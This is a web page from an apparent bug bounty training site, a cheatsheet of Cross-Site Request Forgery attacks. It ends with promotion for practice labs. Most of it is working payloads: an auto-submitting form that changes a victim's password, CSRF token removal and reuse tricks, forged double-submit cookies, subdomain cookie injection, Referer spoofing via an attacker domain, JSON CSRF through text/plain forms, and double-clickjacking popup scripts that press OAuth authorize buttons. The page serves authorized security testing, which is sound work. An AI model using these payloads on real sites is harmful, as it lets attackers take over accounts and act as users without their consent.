CSRF Cheatsheet
Cross-Site Request Forgery
Quick reference
- →Always try removing the CSRF token entirely before hunting for bypasses
- →Switching the POST method to GET can evade token verification
- →Double-Clickjacking via popup bypasses X-Frame-Options because it uses no iframes
- →For JSON CSRF, try enctype="text/plain" in HTML forms
- →Look for CSRF in: email/password change, account deletion, transactions, permission changes
CSRF token bypass
Remove the token entirelyThe server may not verify the token if it isn't sent
<form method="POST" action="https://target.com/change_password" id="csrf-form">
<input type="text" name="new_password" value="hacked">
<input type="submit" value="Submit">
</form>
<script>document.getElementById("csrf-form").submit();</script>Empty tokenSome backends accept an empty token
<input type="text" name="csrf_token" value="">
Reuse a token from another sessionIf tokens aren't bound to the session
<input type="text" name="csrf_token" value="871caef0757a4ac9691aceb9aad8b65b">
Change the HTTP methodThe POST endpoint may accept GET without a token
GET /password_change?new_password=abc123
Double Submit Cookie bypass
Same fake value in cookie and bodyIf it only compares cookie vs body without validating the value
Cookie: csrf_token=not_a_real_token Body: csrf_token=not_a_real_token
Subdomain cookie injectionXSS on a subdomain lets you inject a cookie for the parent domain
document.cookie="csrf_token=fake; domain=.target.com"
Referer/Origin bypass
Strip Referer with a meta tag
<meta name="referrer" content="no-referrer">
Spoof Referer with a subdomain
Referer: https://target.com.attacker.com
History pushState for OriginManipulates the displayed URL without navigating
<script>history.pushState('', '', '/')</script>CSRF in JSON requests
JSON via form with enctype text/plainThe input name + value form valid JSON
<form method="POST" action="https://target.com/api/phone.json" enctype="text/plain">
<input type="hidden" name='{"phone":"01111111118","a":"' value='"}'>
</form>Change Content-Type to urlencodedThe backend may accept multiple Content-Types
Content-Type: application/x-www-form-urlencoded Body: phone=01111111118
Content-Type text/plain
Content-Type: text/plain
Body: {"phone":"01111111118"}Double-Clickjacking via popup
Popup cursor trackingMoves the popup so the button stays under the cursor
w = window.open("/popup", "", "width=500,height=300");
w.onload = () => {
button = w.document.querySelector("button").getBoundingClientRect();
onmousemove = (e) => {
w.moveTo(e.screenX - button.x - button.width/2, e.screenY - button.y - button.height/2);
};
};Popunder via invalid protocolRefocuses the main window while the popup loads in the background
window.open("https://target.com/oauth#btn", "popup");
window.open("invalid://", "main_window");Hash-based focus to press a buttonThe browser focuses the element with that ID — Space presses it
window.open("https://target.com/authorize#authorize-btn", "popup");Tools
Burp Suite CSRF PoC Generator
Auto-generates HTML PoC for any intercepted request
Burp Suite > Right click request > Engagement Tools > Generate CSRF PoC
XSRFProbe
Automated CSRF auditor that detects weak tokens and bypasses
python3 xsrfprobe.py -u https://target.com/
Related content
Ready to practice?
Put these payloads to work in real labs based on bug bounty reports.
See practice labs- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Stop reading about bugs and start hunting them
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime